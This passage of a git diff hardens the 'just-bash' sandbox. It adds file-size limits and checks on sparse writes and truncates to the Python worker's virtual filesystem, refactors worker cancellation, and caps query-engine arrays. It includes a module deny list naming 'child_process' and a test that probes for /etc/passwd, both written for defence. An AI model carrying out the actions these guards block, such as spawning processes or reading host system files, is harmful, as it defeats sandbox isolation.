   });
 
   describe("filesystem isolation", () => {
+    it("rejects sparse HOSTFS writes before allocating the resulting file", async () => {
+      const env = new Bash({
+        python: true,
+        executionLimits: { maxStringLength: 128 },
+      });
+
+      const result = await env.exec(
+        `python3 -c "f=open('/tmp/sparse.bin','wb'); f.seek(1024); f.write(b'x')"`,
+      );
+
+      expect(result.stdout).toBe("");
+      expect(result.stderr).toContain("OSError: [Errno 28] Invalid argument");
+      expect(result.exitCode).toBe(1);
+      const bytes = await env.fs.readFileBuffer("/tmp/sparse.bin");
+      expect(bytes.byteLength).toBeLessThanOrEqual(128);
+    });
+
+    it("rejects oversized HOSTFS truncate before allocating the file", async () => {
+      const env = new Bash({
+        python: true,
+        executionLimits: { maxStringLength: 128 },
+      });
+
+      const result = await env.exec(
+        `python3 -c "f=open('/tmp/truncated.bin','wb'); f.truncate(1024)"`,
+      );
+
+      expect(result.stdout).toBe("");
+      expect(result.stderr).toContain("[Errno 27]");
+      expect(result.exitCode).toBe(1);
+      const bytes = await env.fs.readFileBuffer("/tmp/truncated.bin");
+      expect(bytes.byteLength).toBeLessThanOrEqual(128);
+    });
+
     it("should not have /etc/passwd (no host FS)", async () => {
       const env = new Bash({ python: true });
       const result = await env.exec(
diff --git a/packages/just-bash/src/commands/python3/python3.ts b/packages/just-bash/src/commands/python3/python3.ts
index b667cb27..063ce07e 100644
--- a/packages/just-bash/src/commands/python3/python3.ts
+++ b/packages/just-bash/src/commands/python3/python3.ts
@@ -10,7 +10,6 @@
  * This command is Node.js only (uses worker_threads).
  */
 
-import { randomBytes } from "node:crypto";
 import { fileURLToPath } from "node:url";
 import { Worker } from "node:worker_threads";
 import { decodeBytesToUtf8 } from "../../encoding.js";
@@ -24,18 +23,17 @@ import { getErrorMessage } from "../../interpreter/helpers/errors.js";
 
 import { bindDefenseContextCallback } from "../../security/defense-context.js";
 import { DefenseInDepthBox } from "../../security/defense-in-depth-box.js";
-import { _clearTimeout, _setTimeout } from "../../timers.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 import { BridgeHandler } from "../worker-bridge/bridge-handler.js";
 import { createSharedBuffer } from "../worker-bridge/protocol.js";
+import { WorkerRequestController } from "../worker-request-controller.js";
 import type { WorkerInput, WorkerOutput } from "./worker.js";
 
-/** Default Python execution timeout in milliseconds */
-const DEFAULT_PYTHON_TIMEOUT_MS = 10000;
-/** Default Python execution timeout when network is enabled */
-const DEFAULT_PYTHON_NETWORK_TIMEOUT_MS = 60000;
-
 const python3Help = {
   name: "python3",
   summary: "Execute Python code via CPython Emscripten",
@@ -160,16 +158,21 @@ function parseArgs(args: string[]): ParsedArgs | ExecResult {
 
 // Queue for serializing Python executions (one at a time)
 type QueuedExecution = {
+  /** Unforgeable ownership marker for this queue slot. */
+  executionId: symbol;
   input: WorkerInput;
-  resolve: (result: WorkerOutput) => void;
-  workerRef?: { current: Worker | null };
+  settle: (result: WorkerOutput) => void;
   requireDefenseContext?: boolean;
-  /** Set to true when the request times out before execution starts */
-  canceled?: boolean;
+  state: "queued" | "running" | "terminating" | "settled";
+  worker: Worker | null;
+  controller: WorkerRequestController;
+  stopBridge: () => void;
+  cancel: (result: WorkerOutput) => void;
 };
 type QueueState = {
   executionQueue: QueuedExecution[];
-  isExecuting: boolean;
+  activeExecution: QueuedExecution | null;
+  poisonedError: string | null;
 };
 let executionQueues = new WeakMap<IFileSystem, QueueState>();
 
@@ -178,7 +181,8 @@ function getQueueState(fs: IFileSystem): QueueState {
   if (!state) {
     state = {
       executionQueue: [],
-      isExecuting: false,
+      activeExecution: null,
+      poisonedError: null,
     };
     executionQueues.set(fs, state);
   }
@@ -192,10 +196,6 @@ export function _resetExecutionQueue(): void {
 
 const workerPath = fileURLToPath(new URL("./worker.js", import.meta.url));
 
-function generateWorkerProtocolToken(): string {
-  return randomBytes(16).toString("hex");
-}
-
 function normalizeWorkerMessage(
   msg: unknown,
   expectedProtocolToken: string,
@@ -255,14 +255,26 @@ function normalizeWorkerMessage(
 }
 
 function processNextExecution(queueState: QueueState): void {
-  if (queueState.isExecuting || queueState.executionQueue.length === 0) {
+  if (queueState.poisonedError !== null) {
+    for (const queued of queueState.executionQueue.splice(0)) {
+      if (queued.state !== "queued") continue;
+      queued.state = "settled";
+      queued.stopBridge();
+      queued.settle({ success: false, error: queueState.poisonedError });
+    }
+    return;
+  }
+  if (
+    queueState.activeExecution !== null ||
+    queueState.executionQueue.length === 0
+  ) {
     return;
   }
 
-  // Skip canceled entries (timed out before execution started)
+  // Settled entries timed out while queued and must never be dispatched.
   while (
     queueState.executionQueue.length > 0 &&
-    queueState.executionQueue[0].canceled
+    queueState.executionQueue[0]?.state !== "queued"
   ) {
     queueState.executionQueue.shift();
   }
@@ -274,7 +286,8 @@ function processNextExecution(queueState: QueueState): void {
   if (!next) {
     return;
   }
-  queueState.isExecuting = true;
+  next.state = "running";
+  queueState.activeExecution = next;
 
   // Create a fresh worker for each execution.
   // CPython Emscripten uses EXIT_RUNTIME, so the module can only run once.
@@ -283,30 +296,99 @@ function processNextExecution(queueState: QueueState): void {
   let worker: Worker;
   try {
     worker = DefenseInDepthBox.runTrusted(
+      // @banned-pattern-ignore: constructor is immediately owned by next.controller lifecycle
       () => new Worker(workerPath, { workerData: next.input }),
     );
   } catch (err) {
     const message = err instanceof Error ? err.message : String(err);
-    next.resolve({
+    next.state = "settled";
+    next.settle({
       success: false,
       error: sanitizeHostErrorMessage(message),
     });
-    queueState.isExecuting = false;
-    processNextExecution(queueState);
+    if (queueState.activeExecution === next) {
+      queueState.activeExecution = null;
+      processNextExecution(queueState);
+    }
     return;
   }
 
-  if (next.workerRef) next.workerRef.current = worker;
+  next.worker = worker;
+
+  let listenersAttached = true;
+  const cleanupListeners = (): void => {
+    if (!listenersAttached) return;
+    listenersAttached = false;
+    worker.removeListener("message", dispatchMessage);
+    worker.removeListener("error", dispatchError);
+    worker.removeListener("exit", dispatchExit);
+  };
+
+  const settleActiveExecution = async (
+    result: WorkerOutput,
+    terminateWorker: boolean,
+  ): Promise<void> => {
+    // Every callback closes over its own entry. Checking both identity and state
+    // prevents a stale event from releasing a newer queue owner.
+    if (
+      queueState.activeExecution?.executionId !== next.executionId ||
+      next.state !== "running"
+    ) {
+      return;
+    }
+
+    next.state = "terminating";
+    cleanupListeners();
+    next.settle(result);
+
+    if (terminateWorker) {
+      const acknowledged = await next.controller.terminate(worker);
+      if (!acknowledged) {
+        const error = "Worker termination was not acknowledged";
+        next.worker = null;
+        next.state = "settled";
+        queueState.poisonedError = error;
+        if (queueState.activeExecution?.executionId === next.executionId) {
+          queueState.activeExecution = null;
+        }
+        processNextExecution(queueState);
+        return;
+      }
+    }
+
+    next.worker = null;
+    next.state = "settled";
+    if (queueState.activeExecution?.executionId === next.executionId) {
+      queueState.activeExecution = null;
+      processNextExecution(queueState);
+    }
+  };
+
+  next.cancel = (result) => {
+    void settleActiveExecution(result, true);
+  };
 
   const onMessage = bindDefenseContextCallback(
     next.requireDefenseContext,
     "python3",
     "worker message callback",
     (msg: unknown) => {
-      next.resolve(normalizeWorkerMessage(msg, next.input.protocolToken));
-      queueState.isExecuting = false;
-      worker.terminate();
-      processNextExecution(queueState);
+      try {
+        next.controller.assertMessageSize(msg, "response");
+      } catch (error) {
+        void settleActiveExecution(
+          {
+            success: false,
+            error: sanitizeHostErrorMessage(getErrorMessage(error)),
+          },
+          true,
+        );
+        return;
+      }
+      void settleActiveExecution(
+        normalizeWorkerMessage(msg, next.input.protocolToken),
+        true,
+      );
     },
   );
   const onError = bindDefenseContextCallback(
@@ -315,12 +397,13 @@ function processNextExecution(queueState: QueueState): void {
     "worker error callback",
     (err: Error) => {
       const workerError = sanitizeHostErrorMessage(getErrorMessage(err));
-      next.resolve({
-        success: false,
-        error: workerError,
-      });
-      queueState.isExecuting = false;
-      processNextExecution(queueState);
+      void settleActiveExecution(
+        {
+          success: false,
+          error: workerError,
+        },
+        true,
+      );
     },
   );
   const onExit = bindDefenseContextCallback(
@@ -328,11 +411,10 @@ function processNextExecution(queueState: QueueState): void {
     "python3",
     "worker exit callback",
     () => {
-      if (queueState.isExecuting) {
-        next.resolve({ success: false, error: "Worker exited unexpectedly" });
-        queueState.isExecuting = false;
-        processNextExecution(queueState);
-      }
+      void settleActiveExecution(
+        { success: false, error: "Worker exited unexpectedly" },
+        false,
+      );
     },
   );
 
@@ -341,13 +423,13 @@ function processNextExecution(queueState: QueueState): void {
       onMessage(msg);
     } catch (error) {
       const message = error instanceof Error ? error.message : String(error);
-      next.resolve({
-        success: false,
-        error: sanitizeHostErrorMessage(message),
-      });
-      queueState.isExecuting = false;
-      worker.terminate();
-      processNextExecution(queueState);
+      void settleActiveExecution(
+        {
+          success: false,
+          error: sanitizeHostErrorMessage(message),
+        },
+        true,
+      );
     }
   };
 
@@ -356,12 +438,13 @@ function processNextExecution(queueState: QueueState): void {
       onError(err);
     } catch (error) {
       const message = error instanceof Error ? error.message : String(error);
-      next.resolve({
-        success: false,
-        error: sanitizeHostErrorMessage(message),
-      });
-      queueState.isExecuting = false;
-      processNextExecution(queueState);
+      void settleActiveExecution(
+        {
+          success: false,
+          error: sanitizeHostErrorMessage(message),
+        },
+        true,
+      );
     }
   };
 
@@ -370,12 +453,13 @@ function processNextExecution(queueState: QueueState): void {
       onExit();
     } catch (error) {
       const message = error instanceof Error ? error.message : String(error);
-      next.resolve({
-        success: false,
-        error: sanitizeHostErrorMessage(message),
-      });
-      queueState.isExecuting = false;
-      processNextExecution(queueState);
+      void settleActiveExecution(
+        {
+          success: false,
+          error: sanitizeHostErrorMessage(message),
+        },
+        true,
+      );
     }
   };
 
@@ -389,7 +473,7 @@ function processNextExecution(queueState: QueueState): void {
  */
 async function executePython(
   pythonCode: string,
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   scriptPath?: string,
   scriptArgs: string[] = [],
 ): Promise<ExecResult> {
@@ -400,20 +484,28 @@ async function executePython(
     ctx.cwd,
     "python3",
     ctx.fetch,
-    ctx.limits?.maxOutputSize ?? 0,
+    ctx.limits.maxOutputSize,
   );
 
-  // Network operations need a longer timeout. resolveLimits() always populates
-  // maxPythonTimeoutMs (default 10s), so use the network default as a floor.
-  const userTimeout =
-    ctx.limits?.maxPythonTimeoutMs ?? DEFAULT_PYTHON_TIMEOUT_MS;
-  const timeoutMs = ctx.fetch
-    ? Math.max(userTimeout, DEFAULT_PYTHON_NETWORK_TIMEOUT_MS)
-    : userTimeout;
+  const timeoutMs = ctx.limits.maxPythonTimeoutMs;
   const queueState = getQueueState(ctx.fs);
+  if (queueState.poisonedError !== null) {
+    return {
+      stdout: "",
+      stderr: `python3: ${queueState.poisonedError}\n`,
+      exitCode: 1,
+    };
+  }
+
+  const controller = new WorkerRequestController({
+    commandName: "python3",
+    timeoutMs,
+    signal: ctx.signal,
+    maxMessageBytes: ctx.limits.maxWorkerMessageBytes,
+  });
 
   const workerInput: WorkerInput = {
-    protocolToken: generateWorkerProtocolToken(),
+    protocolToken: controller.protocolToken,
     sharedBuffer,
     pythonCode,
     cwd: ctx.cwd,
@@ -423,60 +515,80 @@ async function executePython(
     args: scriptArgs,
     scriptPath,
     timeoutMs,
+    maxFileSize: ctx.limits.maxStringLength,
   };
 
-  const workerRef: { current: Worker | null } = { current: null };
+  controller.assertMessageSize(
+    { ...workerInput, sharedBuffer: undefined },
+    "request",
+  );
 
   const workerPromise = new Promise<WorkerOutput>((resolve) => {
-    // The queue entry is created here so the timeout handler can mark it canceled
+    let settled = false;
     const queueEntry: QueuedExecution = {
+      executionId: Symbol("python3 execution"),
       input: workerInput,
-      resolve: () => {}, // replaced below
-      workerRef,
+      settle: (result) => {
+        if (settled) return;
+        settled = true;
+        controller.close();
+        resolve(result);
+      },
       requireDefenseContext: ctx.requireDefenseContext,
+      state: "queued",
+      worker: null,
+      controller,
+      stopBridge: () => bridgeHandler.stop?.(),
+      cancel: () => {}, // Replaced if and when this entry owns a worker.
+    };
+
+    queueEntry.cancel = (result) => {
+      if (queueEntry.state !== "queued") return;
+      queueEntry.state = "settled";
+      const queuedIndex = queueState.executionQueue.indexOf(queueEntry);
+      if (queuedIndex !== -1) {
+        queueState.executionQueue.splice(queuedIndex, 1);
+      }
+      queueEntry.settle(result);
+      processNextExecution(queueState);
     };
 
-    const onTimeout = bindDefenseContextCallback(
+    const onCancel = bindDefenseContextCallback(
       ctx.requireDefenseContext,
       "python3",
-      "worker timeout callback",
-      () => {
-        if (workerRef.current) {
-          // Worker is running — terminate it
-          workerRef.current.terminate();
-        } else {
-          // Worker hasn't started — mark canceled so processNextExecution skips it
-          queueEntry.canceled = true;
-        }
-        resolve({
+      "worker cancellation callback",
+      (reason: "abort" | "timeout") => {
+        bridgeHandler.stop?.();
+        queueEntry.cancel({
           success: false,
-          error: `Execution timeout: exceeded ${timeoutMs}ms limit`,
+          error:
+            reason === "abort"
+              ? controller.abortMessage()
+              : controller.timeoutMessage(),
         });
       },
     );
 
-    const dispatchTimeout = (): void => {
+    const dispatchCancel = (reason: "abort" | "timeout"): void => {
       try {
-        onTimeout();
+        onCancel(reason);
       } catch (error) {
         const message = error instanceof Error ? error.message : String(error);
-        resolve({
+        queueEntry.cancel({
           success: false,
           error: sanitizeHostErrorMessage(message),
         });
       }
     };
 
-    const timeout = _setTimeout(dispatchTimeout, timeoutMs);
+    // Arm the parent signal and deadline before making this request visible.
+    controller.arm(dispatchCancel);
 
-    queueEntry.resolve = (result: WorkerOutput) => {
-      _clearTimeout(timeout);
-      resolve(result);
-    };
-
-    // Queue the execution (serialized — one at a time per worker)
-    queueState.executionQueue.push(queueEntry);
-    processNextExecution(queueState);
+    if (!controller.isCanceled) {
+      // Queue the execution (serialized — one at a time per filesystem).
+      queueState.executionQueue.push(queueEntry);
+      processNextExecution(queueState);
+    }
   });
 
   const [bridgeOutput, workerResult] = await Promise.all([
@@ -499,10 +611,13 @@ async function executePython(
 
   if (!workerResult.success && workerResult.error) {
     const workerError = sanitizeHostErrorMessage(workerResult.error);
+    const canceled =
+      workerResult.error === controller.timeoutMessage() ||
+      workerResult.error === controller.abortMessage();
     return {
       stdout: bridgeOutput.stdout,
       stderr: `${bridgeOutput.stderr}python3: ${workerError}\n`,
-      exitCode: bridgeOutput.exitCode || 1,
+      exitCode: bridgeOutput.exitCode || (canceled ? 124 : 1),
     };
   }
 
@@ -512,10 +627,13 @@ async function executePython(
   };
 }
 
-export const python3Command: Command = {
+export const python3Command: RuntimeCommand = {
   name: "python3",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(python3Help);
     }
@@ -594,10 +712,13 @@ export const python3Command: Command = {
   },
 };
 
-export const pythonCommand: Command = {
+export const pythonCommand: RuntimeCommand = {
   name: "python",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     return python3Command.execute(args, ctx);
   },
 };
diff --git a/packages/just-bash/src/commands/python3/python3.worker-protocol-abuse.test.ts b/packages/just-bash/src/commands/python3/python3.worker-protocol-abuse.test.ts
index a2e27258..961892c2 100644
--- a/packages/just-bash/src/commands/python3/python3.worker-protocol-abuse.test.ts
+++ b/packages/just-bash/src/commands/python3/python3.worker-protocol-abuse.test.ts
@@ -1,8 +1,9 @@
 import { beforeEach, describe, expect, it, vi } from "vitest";
 import { EMPTY_BYTES } from "../../encoding.js";
 import { InMemoryFs } from "../../fs/in-memory-fs/in-memory-fs.js";
+import { resolveLimits } from "../../limits.js";
 import { DefenseInDepthBox } from "../../security/defense-in-depth-box.js";
-import type { CommandContext } from "../../types.js";
+import type { RuntimeCommandContext } from "../../types.js";
 
 type WorkerScript = (worker: {
   emit: (event: string, payload?: unknown) => void;
@@ -53,6 +54,15 @@ vi.mock("node:worker_threads", () => {
       return this;
     }
 
+    removeListener(event: string, cb: (payload?: unknown) => void): this {
+      const list = this.handlers.get(event) ?? [];
+      this.handlers.set(
+        event,
+        list.filter((handler) => handler !== cb),
+      );
+      return this;
+    }
+
     terminate(): Promise<number> {
       this.emit("exit", 0);
       return Promise.resolve(0);
@@ -89,8 +99,8 @@ vi.mock("../worker-bridge/protocol.js", () => {
 import { _resetExecutionQueue, python3Command } from "./python3.js";
 
 function createContext(
-  overrides: Partial<CommandContext> = {},
-): CommandContext {
+  overrides: Partial<RuntimeCommandContext> = {},
+): RuntimeCommandContext {
   return {
     fs: new InMemoryFs(),
     cwd: "/home/user",
@@ -101,6 +111,7 @@ function createContext(
     ]),
     stdin: EMPTY_BYTES,
     ...overrides,
+    limits: overrides.limits ?? resolveLimits(),
   };
 }
 
diff --git a/packages/just-bash/src/commands/python3/worker.ts b/packages/just-bash/src/commands/python3/worker.ts
index 7577c7a3..10931fd6 100644
--- a/packages/just-bash/src/commands/python3/worker.ts
+++ b/packages/just-bash/src/commands/python3/worker.ts
@@ -33,6 +33,8 @@ export interface WorkerInput {
   args: string[];
   scriptPath?: string;
   timeoutMs?: number;
+  /** Maximum size of one HOSTFS file, enforced before guest allocations. */
+  maxFileSize?: number;
 }
 
 export interface WorkerOutput {
@@ -80,10 +82,16 @@ function assertApprovedPath(
 // Emscripten callbacks could call require() unrestricted.
 // ESM imports (import { ... } from "...") are unaffected by Module._load.
 try {
-  // biome-ignore lint/complexity/noBannedTypes: Module._load signature is untyped
-  const NodeModule = require("node:module") as { _load: Function };
-  if (typeof NodeModule._load === "function") {
+  const NodeModule = require("node:module") as {
+    _load: (request: string, ...args: unknown[]) => unknown;
+    _resolveFilename: (request: string, ...args: unknown[]) => unknown;
+  };
+  if (
+    typeof NodeModule._load === "function" &&
+    typeof NodeModule._resolveFilename === "function"
+  ) {
     const originalLoad = NodeModule._load;
+    const originalResolveFilename = NodeModule._resolveFilename;
     const blockedModules = new Set([
       "child_process",
       "node:child_process",
@@ -120,6 +128,17 @@ try {
       }
       return originalLoad.apply(this, [request, ...rest]);
     };
+    NodeModule._resolveFilename = function (
+      request: string,
+      ...rest: unknown[]
+    ) {
+      if (blockedModules.has(request)) {
+        throw new Error(
+          `[Defense-in-depth] resolving '${request}' is blocked in worker context`,
+        );
+      }
+      return originalResolveFilename.apply(this, [request, ...rest]);
+    };
     moduleLoadGuardInstalled = true;
   }
 } catch {
@@ -289,7 +308,12 @@ function createHOSTFS(
   backend: SyncBackend,
   FS: EmscriptenFS,
   PATH: EmscriptenPATH,
+  configuredMaxFileSize: number,
 ) {
+  const maxFileSize =
+    Number.isSafeInteger(configuredMaxFileSize) && configuredMaxFileSize >= 0
+      ? configuredMaxFileSize
+      : 0;
   const ERRNO_CODES: Record<string, number> = Object.assign(
     Object.create(null) as Record<string, number>,
     {
@@ -304,6 +328,7 @@ function createHOSTFS(
       ENOTDIR: 54,
       EISDIR: 31,
       EINVAL: 28,
+      EFBIG: 27,
       EMFILE: 33,
       ENOSPC: 51,
       ESPIPE: 70,
@@ -426,9 +451,17 @@ function createHOSTFS(
           node.mode = mode;
         }
         if (attr.size !== undefined) {
+          if (
+            !Number.isSafeInteger(attr.size) ||
+            attr.size < 0 ||
+            attr.size > maxFileSize
+          ) {
+            throw new FS.ErrnoError(ERRNO_CODES.EFBIG);
+          }
           tryFSOperation(() => {
             const content = backend.readFile(path);
-            const newContent = content.slice(0, attr.size);
+            const newContent = new Uint8Array(attr.size as number);
+            newContent.set(content.subarray(0, attr.size as number));
             backend.writeFile(path, newContent);
           });
         }
@@ -526,6 +559,10 @@ function createHOSTFS(
           }
         }
 
+        if (content.length > maxFileSize) {
+          throw new FS.ErrnoError(ERRNO_CODES.EFBIG);
+        }
+
         stream.hostContent = content;
         stream.hostModified = isTruncate && isWrite;
         stream.hostPath = path;
@@ -571,6 +608,18 @@ function createHOSTFS(
         length: number,
         position: number,
       ) {
+        if (
+          !Number.isSafeInteger(position) ||
+          !Number.isSafeInteger(length) ||
+          !Number.isSafeInteger(offset) ||
+          position < 0 ||
+          length < 0 ||
+          offset < 0 ||
+          length > buffer.length - offset ||
+          position > maxFileSize - length
+        ) {
+          throw new FS.ErrnoError(ERRNO_CODES.EFBIG);
+        }
         let content = stream.hostContent || new Uint8Array(0);
         const newSize = Math.max(content.length, position + length);
 
@@ -587,9 +636,14 @@ function createHOSTFS(
       },
 
       llseek(stream: EmscriptenStream, offset: number, whence: number) {
+        const SEEK_SET = 0;
         const SEEK_CUR = 1;
         const SEEK_END = 2;
 
+        if (whence !== SEEK_SET && whence !== SEEK_CUR && whence !== SEEK_END) {
+          throw new FS.ErrnoError(ERRNO_CODES.EINVAL);
+        }
+
         let position = offset;
         if (whence === SEEK_CUR) {
           position += stream.position;
@@ -600,7 +654,11 @@ function createHOSTFS(
           }
         }
 
-        if (position < 0) {
+        if (
+          !Number.isSafeInteger(position) ||
+          position < 0 ||
+          position > maxFileSize
+        ) {
           throw new FS.ErrnoError(ERRNO_CODES.EINVAL);
         }
 
@@ -1303,11 +1361,6 @@ async function runPython(input: WorkerInput): Promise<WorkerOutput> {
     };
   }
 
-  // Activate defense-in-depth after WASM loads (first call only).
-  // Subsequent calls reuse the cached compiled module, so webassembly
-  // exclusion in defense config handles that.
-  activateDefense(input.protocolToken);
-
   // Module is ready - enable direct backend output and flush any buffered output
   moduleReady = true;
   for (const text of pendingStdout) backend.writeStdout(text);
@@ -1316,7 +1369,12 @@ async function runPython(input: WorkerInput): Promise<WorkerOutput> {
   // Stdlib zip is written to MEMFS in the preRun callback above
 
   // Mount HOSTFS for just-bash filesystem access
-  const HOSTFS = createHOSTFS(backend, Module.FS, Module.PATH);
+  const HOSTFS = createHOSTFS(
+    backend,
+    Module.FS,
+    Module.PATH,
+    input.maxFileSize ?? 8 * 1024 * 1024,
+  );
   try {
     Module.FS.mkdir("/host");
     Module.FS.mount(HOSTFS, { root: "/" }, "/host");
@@ -1385,6 +1443,10 @@ sys.exit(_jb_exit_code)
 
   // Execute CPython with the script
   try {
+    // CPython, MEMFS, and HOSTFS bootstrap are now complete. Guest Python is
+    // not reachable until callMain, so activate loader denial at this exact
+    // boundary rather than authorizing loader calls by their stack text.
+    activateDefense(input.protocolToken);
     const ret = Module.callMain([scriptPath]);
     // callMain returns the exit code, or throws ExitStatus with EXIT_RUNTIME
     const exitCode =
@@ -1443,6 +1505,13 @@ function activateDefense(protocolToken: string): void {
       // performance: Excluded because we replaced it above with a ms-precision
       // stub. Defense doesn't need to block it — it's already degraded.
       "performance_timing",
+      // CPython's Emscripten runtime performs lazy CJS loads during callMain.
+      // A worker-entry guard installed before CPython loads rejects the exact
+      // dangerous builtin set without relying on loader stack text. CPython
+      // exposes no JS bridge to guest Python, so this compatibility exclusion
+      // does not make Module methods guest-reachable.
+      "module_load",
+      "module_resolve_filename",
     ],
     onViolation,
   });
diff --git a/packages/just-bash/src/commands/query-engine/builtins/array-builtins.ts b/packages/just-bash/src/commands/query-engine/builtins/array-builtins.ts
index c94ed10b..898f98ba 100644
--- a/packages/just-bash/src/commands/query-engine/builtins/array-builtins.ts
+++ b/packages/just-bash/src/commands/query-engine/builtins/array-builtins.ts
@@ -5,9 +5,10 @@
  */
 
 import { mergeToNullPrototype } from "../../../helpers/env.js";
+import { ExecutionLimitError as QueryExecutionLimitError } from "../../../interpreter/errors.js";
 import type { EvalContext } from "../evaluator.js";
 import type { AstNode } from "../parser.js";
-import { isSafeKey, safeHasOwn, safeSet } from "../safe-object.js";
+import { isSafeKey, safeSet } from "../safe-object.js";
 import type { QueryValue } from "../value-operations.js";
 
 type EvalFn = (
@@ -30,6 +31,20 @@ type ExecutionLimitErrorClass = new (
   kind: "recursion" | "commands" | "iterations",
 ) => Error;
 
+function assertResultCapacity(
+  ctx: EvalContext,
+  current: number,
+  additional = 1,
+): void {
+  const maxElements = ctx.limits.maxArrayElements;
+  if (additional < 0 || current > maxElements - additional) {
+    throw new QueryExecutionLimitError(
+      `query result element limit exceeded (${maxElements})`,
+      "array_elements",
+    );
+  }
+}
+
 /**
  * Handle array builtins that need evaluate function for arguments.
  * Returns null if the builtin name is not an array builtin handled here.
@@ -263,21 +278,38 @@ export function evalArrayBuiltin(
 
     case "map": {
       if (args.length === 0 || !Array.isArray(value)) return [null];
-      const results = value.flatMap((item) => evaluate(item, args[0], ctx));
+      assertResultCapacity(ctx, 0, value.length);
+      const results: QueryValue[] = [];
+      for (const item of value) {
+        const mapped = evaluate(item, args[0], ctx);
+        assertResultCapacity(ctx, results.length, mapped.length);
+        for (const mappedValue of mapped) results.push(mappedValue);
+      }
       return [results];
     }
 
     case "map_values": {
       if (args.length === 0) return [null];
       if (Array.isArray(value)) {
-        return [value.flatMap((item) => evaluate(item, args[0], ctx))];
+        assertResultCapacity(ctx, 0, value.length);
+        const result: QueryValue[] = [];
+        for (const item of value) {
+          const mapped = evaluate(item, args[0], ctx);
+          assertResultCapacity(ctx, result.length, mapped.length);
+          for (const mappedValue of mapped) result.push(mappedValue);
+        }
+        return [result];
       }
       if (value && typeof value === "object") {
         // Use null-prototype for additional safety
         const result: Record<string, unknown> = Object.create(null);
-        for (const [k, v] of Object.entries(value)) {
+        const keys = Object.keys(value);
+        assertResultCapacity(ctx, 0, keys.length);
+        for (const k of keys) {
           // Defense against prototype pollution
           if (!isSafeKey(k)) continue;
+          // @banned-pattern-ignore: Object.keys returns own properties only
+          const v = (value as Record<string, unknown>)[k];
           const mapped = evaluate(v, args[0], ctx);
           if (mapped.length > 0) safeSet(result, k, mapped[0]);
         }
@@ -294,8 +326,7 @@ export function evalArrayBuiltin(
         return [key >= 0 && key < value.length];
       }
       if (value && typeof value === "object" && typeof key === "string") {
-        // Use safeHasOwn to check own properties only (not inherited like __proto__)
-        return [safeHasOwn(value, key)];
+        return [Object.hasOwn(value, key)];
       }
       return [false];
     }
@@ -308,8 +339,7 @@ export function evalArrayBuiltin(
         return [value >= 0 && value < obj.length];
       }
       if (obj && typeof obj === "object" && typeof value === "string") {
-        // Use safeHasOwn to check own properties only (not inherited like __proto__)
-        return [safeHasOwn(obj, value)];
+        return [Object.hasOwn(obj, value)];
       }
       return [false];
     }
diff --git a/packages/just-bash/src/commands/query-engine/builtins/control-builtins.ts b/packages/just-bash/src/commands/query-engine/builtins/control-builtins.ts
index e22d88ff..fd78d914 100644
--- a/packages/just-bash/src/commands/query-engine/builtins/control-builtins.ts
+++ b/packages/just-bash/src/commands/query-engine/builtins/control-builtins.ts
@@ -23,7 +23,7 @@ type EvalWithPartialFn = (
 type IsTruthyFn = (v: QueryValue) => boolean;
 type ExecutionLimitErrorClass = new (
   message: string,
-  kind: "recursion" | "commands" | "iterations",
+  kind: "recursion" | "commands" | "iterations" | "array_elements",
 ) => Error;
 
 /**
@@ -109,8 +109,16 @@ export function evalControlBuiltin(
       // so we use a higher limit than while/until/repeat loops.  Prevents
       // memory exhaustion from range(1e15) while allowing legitimate use
       // cases like date arithmetic (range(365*67) = 24455 elements).
-      const maxRange = Math.max(ctx.limits.maxIterations * 100, 1_000_000);
-      const rangeExceeded = (result: number[]) => result.length >= maxRange;
+      const maxRange = ctx.limits.maxArrayElements;
+      const appendRangeValue = (result: number[], item: number): void => {
+        if (result.length >= maxRange) {
+          throw new ExecutionLimitError(
+            `query result element limit exceeded (${maxRange})`,
+            "array_elements",
+          );
+        }
+        result.push(item);
+      };
       const startsVals = evaluate(value, args[0], ctx);
       if (args.length === 1) {
         // range(n) - single arg, range from 0 to n
@@ -119,8 +127,7 @@ export function evalControlBuiltin(
         for (const n of startsVals) {
           const num = n as number;
           for (let i = 0; i < num; i++) {
-            result.push(i);
-            if (rangeExceeded(result)) return result;
+            appendRangeValue(result, i);
           }
         }
         return result;
@@ -135,8 +142,7 @@ export function evalControlBuiltin(
             const start = s as number;
             const end = e as number;
             for (let i = start; i < end; i++) {
-              result.push(i);
-              if (rangeExceeded(result)) return result;
+              appendRangeValue(result, i);
             }
           }
         }
@@ -154,13 +160,11 @@ export function evalControlBuiltin(
             if (step === 0) continue; // Avoid infinite loop
             if (step > 0) {
               for (let i = start; i < end; i += step) {
-                result.push(i);
-                if (rangeExceeded(result)) return result;
+                appendRangeValue(result, i);
               }
             } else {
               for (let i = start; i > end; i += step) {
-                result.push(i);
-                if (rangeExceeded(result)) return result;
+                appendRangeValue(result, i);
               }
             }
           }
diff --git a/packages/just-bash/src/commands/query-engine/builtins/date-builtins.security.test.ts b/packages/just-bash/src/commands/query-engine/builtins/date-builtins.security.test.ts
new file mode 100644
index 00000000..0b878b8c
--- /dev/null
+++ b/packages/just-bash/src/commands/query-engine/builtins/date-builtins.security.test.ts
@@ -0,0 +1,32 @@
+import { describe, expect, it } from "vitest";
+import { evaluate, parse } from "../index.js";
+
+describe("query date builtin validation", () => {
+  it.each([
+    "gmtime",
+    "todate",
+    `strftime("%Y")`,
+  ])("rejects non-finite timestamps before %s", (filter) => {
+    expect(() => evaluate(Number.POSITIVE_INFINITY, parse(filter))).toThrow(
+      "timestamp is outside the supported range",
+    );
+  });
+
+  it("rejects timestamps outside the Date range", () => {
+    expect(() => evaluate(8_640_000_000_001, parse("todate"))).toThrow(
+      "timestamp is outside the supported range",
+    );
+  });
+
+  it("rejects unsupported strptime formats instead of fallback parsing", () => {
+    expect(() =>
+      evaluate("2024-01-02T03:04:05Z", parse(`strptime("%Y")`)),
+    ).toThrow("strptime format is not supported: %Y");
+  });
+
+  it("rejects ISO-shaped dates that normalize to another date", () => {
+    expect(() =>
